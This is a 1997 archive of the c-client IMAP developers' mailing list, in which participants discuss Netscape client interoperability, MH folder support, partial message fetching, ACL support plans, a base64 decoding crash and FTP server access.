X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Chris Newman wrote: > > On Wed, 23 Apr 1997, Dan A. Dickey wrote: > > > Does anyone out there use the imap4rev1 server running on Solaris with > > the netscape browser as a client? I'm about to give up on getting this to > > work. Can someone give me a vote of confidence in this setup? > > The Netscape beta client doesn't follow the standard and thus doesn't > interoperate. It even fails to check the UIDVAILIDTY, which can result in > lost mail -- a very serious bug. There is a UIDVALIDITY related bug that is fixed in the upcoming PR4 release. We already have large beta sites using Communicator with Solaris Solistice Imap servers. What, exactly, are you having trouble with? - Kevin From pinedev@shivax2.cac.washington.edu Thu Apr 24 08:13:50 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 24 Apr 1997 08:13:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id IAA11275 for ; Thu, 24 Apr 1997 08:13:49 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id IAA13232; Thu, 24 Apr 1997 08:13:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id HAA25514; Thu, 24 Apr 1997 07:54:07 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id HAA45138 for ; Thu, 24 Apr 1997 07:53:42 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id HAA07767 for ; Thu, 24 Apr 1997 07:53:40 -0700 Received: from transition.com (sapphire.transition.com [206.7.42.254]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id HAA26357 for ; Thu, 24 Apr 1997 07:53:37 -0700 Received: from avalon by transition.com (SMI-8.6/SMI-SVR4) id JAA20403; Thu, 24 Apr 1997 09:52:48 -0500 Message-Id: <335F73AF.551700E5@transition.com> Date: Thu, 24 Apr 1997 09:52:32 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Dan A. Dickey" To: kmcentee@netscape.com Cc: Chris Newman , "Dan A. Dickey" , c-client@CAC.Washington.EDU Subject: Re: Solaris imap and netscape client? References: <335EB68F.2D80B176@netscape.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------83948F70C2672493B23ED4BA" X-Mailer: Mozilla 4.0b3 [en] (WinNT; I) X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------83948F70C2672493B23ED4BA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Kevin McEntee wrote: > Chris Newman wrote: > > > > On Wed, 23 Apr 1997, Dan A. Dickey wrote: > > > > > Does anyone out there use the imap4rev1 server running on > Solaris with > > > the netscape browser as a client? I'm about to give up on > getting this to > > > work. Can someone give me a vote of confidence in this setup? > > > > The Netscape beta client doesn't follow the standard and thus > doesn't > > interoperate. It even fails to check the UIDVAILIDTY, which can > result in > > lost mail -- a very serious bug. > > There is a UIDVALIDITY related bug that is fixed in the upcoming PR4 > release. > We already have large beta sites using Communicator with Solaris > Solistice > Imap servers. What, exactly, are you having trouble with? > > - Kevin Specifically, I'm having trouble using Communicator PR3 client with the UW Imap4rev1 server. The PR3 client is doing the command '3 list "" "*"' which isn't a very good thing, in my opinion. What this ends up doing is walking down through my home directory looking for mailbox files. I don't know quite how it determines what is a mailbox file and what isn't, but it appears that all directories get listed in the Communicator Message Center. Or at least until I run out of disk space on C: which is where it likes to keep this list of potential mailboxes. I have an unknown number of directories and files within my home directory on the Solaris server, they use up a total of 1822MB of disk space. Having the PR3 client do a LIST through all of this at startup isn't a good idea. I didn't get a chance to determine if this also happens when I hit the GetMsg button. With my current setup, the PR3 client is less than useless. I managed to corral the imap server within a black-box; which kept this from rummaging through my home directory. After the PR3 client started up, it would immediately get some kind of memory exception when I hit the GetMsg button. If it would help, tell me what kind of debugging information you'd like and how to get it - I'll gladly send it to you. I also tried the Solstice imap server some time back. With whatever version of netscape I was using at the time (probably 3.0Gold or near that), I couldn't login at all. I didn't delve into why at the time. I just quit trying very early on as I was extremely busy then, as compared to just simply busy now. Anyways...enough of this... any help would be appreciated. For now, I'm just not using imap. I have PR3 set to ipop3 which works pretty well for me. -Dan -- Dan A. Dickey ddickey@transition.com http://www.transition.com/ mailto:ddickey@transition.com --------------83948F70C2672493B23ED4BA Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Dan Dickey Content-Disposition: attachment; filename="vcard.vcf" begin:vcard fn:Dan Dickey n:Dickey;Dan org:Transition Networks, Inc. adr:;;6475 City West Parkway;Eden Prairie;MN;55344; email;internet:ddickey@transition.com title:Sr. Software Engineer tel;work:612-941-7600 tel;fax:612-941-2322 x-mozilla-cpt:;0 x-mozilla-html:FALSE end:vcard --------------83948F70C2672493B23ED4BA-- From pinedev@shivax2.cac.washington.edu Thu Apr 24 09:53:09 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 24 Apr 1997 09:53:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id JAA22256 for ; Thu, 24 Apr 1997 09:53:08 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id JAA29559; Thu, 24 Apr 1997 09:53:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id JAA02657; Thu, 24 Apr 1997 09:46:38 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id JAA44994 for ; Thu, 24 Apr 1997 09:46:13 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx4.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id JAA26035 for ; Thu, 24 Apr 1997 09:46:11 -0700 Received: from socrates.nca.asu.edu (socrates.ed.asu.edu [129.219.88.66]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id JAA29330 for ; Thu, 24 Apr 1997 09:46:07 -0700 Received: (qmail 25414 invoked from network); 24 Apr 1997 16:45:55 -0000 Received: from kirk.nca.asu.edu (129.219.88.141) by socrates.nca.asu.edu with SMTP; 24 Apr 1997 16:45:55 -0000 Message-Id: Date: Thu, 24 Apr 1997 09:42:09 -0700 () Reply-To: "C. R. Oldham" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "C. R. Oldham" To: c-client@CAC.Washington.EDU Subject: Status of MH folder support in imap-4.1-BETA MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: cro@socrates.nca.asu.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Greetings, I've been exploring the MH folder support in the imap toolkit. Is it relatively complete? I've noticed that while there appears to be code to bind the default #mh/ namespace to the directory specified in a user's .mh-profile, it doesn't seem to work for me. My mh-folder directory is ~/.mh instead of ~/Mail. I can create mh folders with Pine (via imapd) in my ~/Mail directory, but any attempt to move messages into a new folder from a berkeley-style folder results in [COPY failed: Invalid Berkeley-format mailbox name: #mh/cos-list] Thanks, -- | Charles R. (C. R.) Oldham | NCA Commission on Schools | | cro@nca.asu.edu | Arizona St. Univ., PO Box 873011 | | V:602/965-8700 F:602/965-9423 |________ Tempe, AZ 85287-3011_ | | "I like it!"--Citizen G'Kar, Babylon 5 | #include X_>| From pinedev@shivax2.cac.washington.edu Mon Apr 28 12:56:32 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 28 Apr 1997 12:56:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA22372 for ; Mon, 28 Apr 1997 12:56:31 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA29959; Mon, 28 Apr 1997 12:56:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id MAA12237; Mon, 28 Apr 1997 12:53:02 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA41660 for ; Mon, 28 Apr 1997 12:52:25 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA00553 for ; Mon, 28 Apr 1997 12:52:23 -0700 Received: from qnx.com (qnx.com [198.53.31.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA27408 for ; Mon, 28 Apr 1997 12:52:21 -0700 Received: (from cburgess@localhost) by quics.qnx.com (8.8.5/8.6.12) id PAA19870 for c-client@cac.washington.edu; Mon, 28 Apr 1997 15:46:58 -0400 Message-Id: <199704281946.PAA19870@quics.qnx.com> Date: Mon, 28 Apr 1997 15:46:49 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Colin Burgess To: c-client@CAC.Washington.EDU (c-client Developers List) Subject: Progressive downloading of message text MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Mailer: ELM [version 2.4 PL24] X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi there. Can anyone tell me the best way to implement progressive display of a message, as it is downloading. Does c-client support this? Also, how would one go about cancelling a download? -- cburgess@qnx.com From pinedev@shivax2.cac.washington.edu Mon Apr 28 13:32:23 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 28 Apr 1997 13:32:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA23028 for ; Mon, 28 Apr 1997 13:32:22 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA01067; Mon, 28 Apr 1997 13:32:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA35162; Mon, 28 Apr 1997 13:25:45 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA06086 for ; Mon, 28 Apr 1997 13:25:30 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA14008 for ; Mon, 28 Apr 1997 13:25:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (wml@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA00891 for ; Mon, 28 Apr 1997 13:25:25 -0700 Received: from Ikkoku-Kan.Panda.COM (suave@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id NAA13242; Mon, 28 Apr 1997 13:25:22 -0700 (PDT) Received: from localhost (stuart@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id NAA02283; Mon, 28 Apr 1997 13:25:18 -0700 (PDT) Message-Id: Date: Mon, 28 Apr 1997 13:24:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Colin Burgess Cc: c-client Developers List Subject: re: Progressive downloading of message text In-Reply-To: <199704281946.PAA19870@quics.qnx.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 28 Apr 1997 15:46:49 -0400 (EDT), Colin Burgess wrote: > Can anyone tell me the best way to implement progressive > display of a message, as it is downloading. > > Does c-client support this? > > Also, how would one go about cancelling a download? If the server is IMAP4rev1, you can do partial fetching via the mail_partial_* functions. There is no way to stop a transfer once it has started, so if you want to offer that feature you should do the transfer in chunks and have the opportunity to stop between chunks. From pinedev@shivax2.cac.washington.edu Tue May 6 07:31:13 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 May 1997 07:31:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA24762 for ; Tue, 6 May 1997 07:31:11 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA21523; Tue, 6 May 1997 07:31:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id HAA52808; Tue, 6 May 1997 07:26:21 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id HAA45306 for ; Tue, 6 May 1997 07:25:32 -0700 Received: from cdsms.cdc.com (cdsms.cdc.com [129.179.192.11]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA17040 for ; Tue, 6 May 1997 07:25:29 -0700 Received: from slip-101-4.arh.cdc.com by cdsms.cdc.com; Tue, 6 May 1997 09:24:56 -0500 Message-Id: <336f3f396505002@cdsms.cdc.com> Date: Tue, 6 May 1997 10:26:30 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Warren L Brown To: c-client@u.washington.edu Subject: rfc2086 (ACL's) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7bit X-Mailer: CDS SMTP Driver 1.0 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Is there any plan to add ACL (RFC2086) support to C-Client code? If so, what is the time frame? Thank you very much. ------------------------------------------------------------------ Warren.L.Brown@cdc.com 412-276-7716 [Fax: 412-276-7754] Control Data Systems, Inc. 600 N. Bell Ave, Bldg 1, Suite 112D Carnegie, PA 15106 USA ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 6 14:03:52 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 May 1997 14:03:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id OAA09397 for ; Tue, 6 May 1997 14:03:48 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id OAA00849; Tue, 6 May 1997 14:03:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id OAA05460; Tue, 6 May 1997 14:00:51 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id OAA55110 for ; Tue, 6 May 1997 14:00:25 -0700 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id OAA07950 for ; Tue, 6 May 1997 14:00:21 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gnof@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id OAA10474; Tue, 6 May 1997 14:00:13 -0700 Message-Id: Date: Tue, 6 May 1997 13:53:48 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Warren L Brown Cc: c-client@u.washington.edu Subject: re: rfc2086 (ACL's) In-Reply-To: <336f3f396505002@cdsms.cdc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 6 May 1997 10:26:30 -0400 (EDT), Warren L Brown wrote: > Is there any plan to add ACL (RFC2086) support to C-Client code? Yes. > If so, what is the time frame? No schedule has been set yet. It is a relatively high priority item and about 10% done, but there are certain other projects that are higher priority. I don't think that this is going to make it into the c-client that is shipped with Pine 4.00, but it is a possibility. My current project is a rewrite of the standard Unix mailbox driver to be a memory-miser (80% done). The other ones on the front burner are faster sort (about 50% done) and Unicode. From pinedev@shivax2.cac.washington.edu Wed May 7 10:41:38 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 7 May 1997 10:41:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id KAA24636 for ; Wed, 7 May 1997 10:41:37 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id KAA26575; Wed, 7 May 1997 10:41:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id KAA26375; Wed, 7 May 1997 10:35:20 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id KAA39842 for ; Wed, 7 May 1997 10:35:03 -0700 Received: from ispadm.amteva.com (amteva.com [38.254.74.99]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with SMTP id KAA10019 for ; Wed, 7 May 1997 10:34:41 -0700 Received: from cholloway (cholloway.amteva.com) by ispadm.amteva.com ; 7 MAY 97 13:27:06 EDT Message-Id: <3370B97E.C63E2B7F@amteva.com> Date: Wed, 07 May 1997 13:18:55 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Chip Holloway To: c-client@u.washington.edu Subject: problem with fetching/decoding Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Mailer: Mozilla 4.0b3 [en] (WinNT; I) X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I am having a problem with the following code:

Envelope = mail_fetchheader_full (DefImapHandle, DefMsgHandle,NIL,
                                                  &HeaderLength, 0);
xBody = mail_fetchtext_full (DefImapHandle, DefMsgHandle, NIL,
                                          &BodyLength, 0);
decodedBody = (char *) rfc822_base64 (xBody, BodyLength, &decodedBodyLength);

The output generated is:

A00005 FETCH 4 BODY.PEEK[HEADER]
* 4 FETCH (BODY[HEADER] {522}
)
A00005 OK FETCH completed
A00006 FETCH 4 BODY[TEXT]
* 4 FETCH (BODY[TEXT] {1267}
 FLAGS (\Seen))
A00006 OK FETCH completed
?Out of free storage

... ouch!

The relavent portion of a trace of the core dump is:

[9] _kill(0x1d28, 0x6)  [0xbffb7303]
[8] abort(presumed: 0x80477c0, 0x809ae38, 0x81096dc)    [0xbffe5cf3]
[7] fatal(string="Out of free storage") [os_sv4.c@45]
[6] fs_get(size=101533387)      [os_sv4.c@44]
[5] rfc822_base64(Warning: Formatted print string too long, truncated
src="--===========================_ _= 4699096(18018)\r\nContent-Type: text/plai
n\r\n\r\nThis Message was relay", srcl=135377844, len=0x80477fc)        [rfc822.
c@1589]

All my declarations seem to be correct and the code is taken from the LstMsgs function in lstmsg.c .
What am I doing wrong? From pinedev@shivax2.cac.washington.edu Wed May 7 18:53:33 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 7 May 1997 18:53:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id SAA02197 for ; Wed, 7 May 1997 18:53:31 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id SAA02287; Wed, 7 May 1997 18:53:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id SAA27450; Wed, 7 May 1997 18:51:10 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id SAA16724 for ; Wed, 7 May 1997 18:50:58 -0700 Received: from italy.it.earthlink.net (italy-c.it.earthlink.net [204.250.46.18]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id SAA10416 for ; Wed, 7 May 1997 18:50:56 -0700 Received: from acer (ip10.des-moines.ia.pub-ip.psi.net [38.14.83.10]) by italy.it.earthlink.net (8.8.5/8.8.5) with SMTP id SAA07570 for ; Wed, 7 May 1997 18:50:52 -0700 (PDT) Message-Id: <199705080150.SAA07570@italy.it.earthlink.net> Date: 07 May 97 20:50:54 -0500 Reply-To: Mike Byrns Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mike Byrns To: Chip Holloway Cc: "c-client" Subject: RE:problem with fetching/decoding MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="US-Ascii" X-Mailer: QuickMail Pro 1.5b2r3 X-Priority: 3 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, Chip. You sent your message body in HTML so I'll assume your client can understand it. My comments are in red. The list doesn't like HTML posts too much so I am cc:'ing them plain. What client did you use to send it? There was no .... Part in it and I can't tell if it was that, that it was not in a proper MIME part, or that your content-type was text/plain when it should have been text/html. I just want to rule out any bugs in my client. You have not included your variable declarations so I can't see if that's a problem - make sure BodyLength matches the mail_fetchtext_full prototype exactly! If it's too small or signed when it should be unsigned you are going to have problems since you are passing only its address. xBody = mail_fetchtext_full (DefImapHandle, DefMsgHandle, NIL, &BodyLength, 0); Set a breakpoint here and examine the value of BodyLegth. If it's much larger than expected there's your problem. decodedBody = (char *) rfc822_base64 (xBody, BodyLength, &decodedBodyLength); How large is your decodedBody buffer? Make it as large as your BodyLength to be safe. A00006 OK FETCH completed The error is occurring in the decode... Was the message body properly formed? Did c-client sent it? ?Out of free storage [6] fs_get(size=101533387)      [os_sv4.c@44] [5] rfc822_base64(Warning: Formatted print string too long, truncated src="--===========================_ _= 4699096(18018)\r\nContent-Type: text/plai n\r\n\r\nThis Message was relay", srcl=135377844, len=0x80477fc)        [rfc822. c@1589] The enclosed file wasn't really len=0x80477fc (128 meg) I hope :-). This really looks like a signed/unsigned problem due to the conspicuous size. But why would mail_fetchtext_full be handing back a negative value? I'll have to look at rfc822_base64 a little closer to tell you anymore. ------------------------------------------------------------ Mike Byrns - MSB Consulting Services - byrnsm@earthlink.net "The Most Significant Bit of your computing solutions." From pinedev@shivax2.cac.washington.edu Fri May 9 11:58:08 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Fri, 9 May 1997 11:58:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id LAA05914 for ; Fri, 9 May 1997 11:58:07 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id LAA18546; Fri, 9 May 1997 11:58:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id LAA20356; Fri, 9 May 1997 11:52:03 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id LAA55216 for ; Fri, 9 May 1997 11:51:30 -0700 Received: from river.lanshark.com (river.lanshark.com [206.3.176.209]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with SMTP id LAA01899 for ; Fri, 9 May 1997 11:51:26 -0700 Received: by river.lanshark.com; Fri, 9 May 97 14:59:17 -0400 Message-Id: Date: Fri, 9 May 97 14:59:15 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Scott Sharkey" To: Subject: Is ftp.cac.washington.edu down? X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've been trying to download stuff from there for more than a day without success... Is there a problem? -Scott Scott Sharkey President/CEO LANshark Systems Inc. From pinedev@shivax2.cac.washington.edu Fri May 9 12:09:55 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Fri, 9 May 1997 12:09:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id MAA32369 for ; Fri, 9 May 1997 12:09:53 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id MAA14138; Fri, 9 May 1997 12:09:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id MAA21058; Fri, 9 May 1997 12:05:40 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id MAA40196 for ; Fri, 9 May 1997 12:05:31 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id MAA12764 for ; Fri, 9 May 1997 12:05:29 -0700 Received: from localhost (fmf@localhost) by shiva1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with SMTP id MAA26012; Fri, 9 May 1997 12:05:25 -0700 Message-Id: <199705091905.MAA26012@shiva1.cac.washington.edu> Date: Fri, 09 May 1997 12:05:24 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Frank Fujimoto To: "Scott Sharkey" Cc: c-client@u.washington.edu, ftp@CAC.Washington.EDU Subject: Re: Is ftp.cac.washington.edu down? In-Reply-To: Your message of "Fri, 09 May 1997 14:59:15 EDT." X-Sender: fmf@shiva1.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN what error message are you getting? since both systems show successful entries in the log file, i'm guessing that you're hitting up against our tcp wrapper which makes sure that reverse and forward lookups of incoming ip addresses match -fmf On Fri, 09 May 1997 14:59:15 EDT "Scott Sharkey" wrote: > I've been trying to download stuff from there for more than a day without > success... Is there a problem? > > -Scott > > > Scott Sharkey > President/CEO > LANshark Systems Inc. From pinedev@shivax2.cac.washington.edu Mon May 12 05:17:35 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 12 May 1997 05:17:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id FAA07088 for ; Mon, 12 May 1997 05:17:35 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id FAA07236; Mon, 12 May 1997 05:17:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id FAA04062; Mon, 12 May 1997 05:07:27 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id FAA51192 for ; Mon, 12 May 1997 05:06:45 -0700 Received: from topaz.hknet.com (topaz.hknet.com [202.67.240.226]) by mx5.u.washington.edu 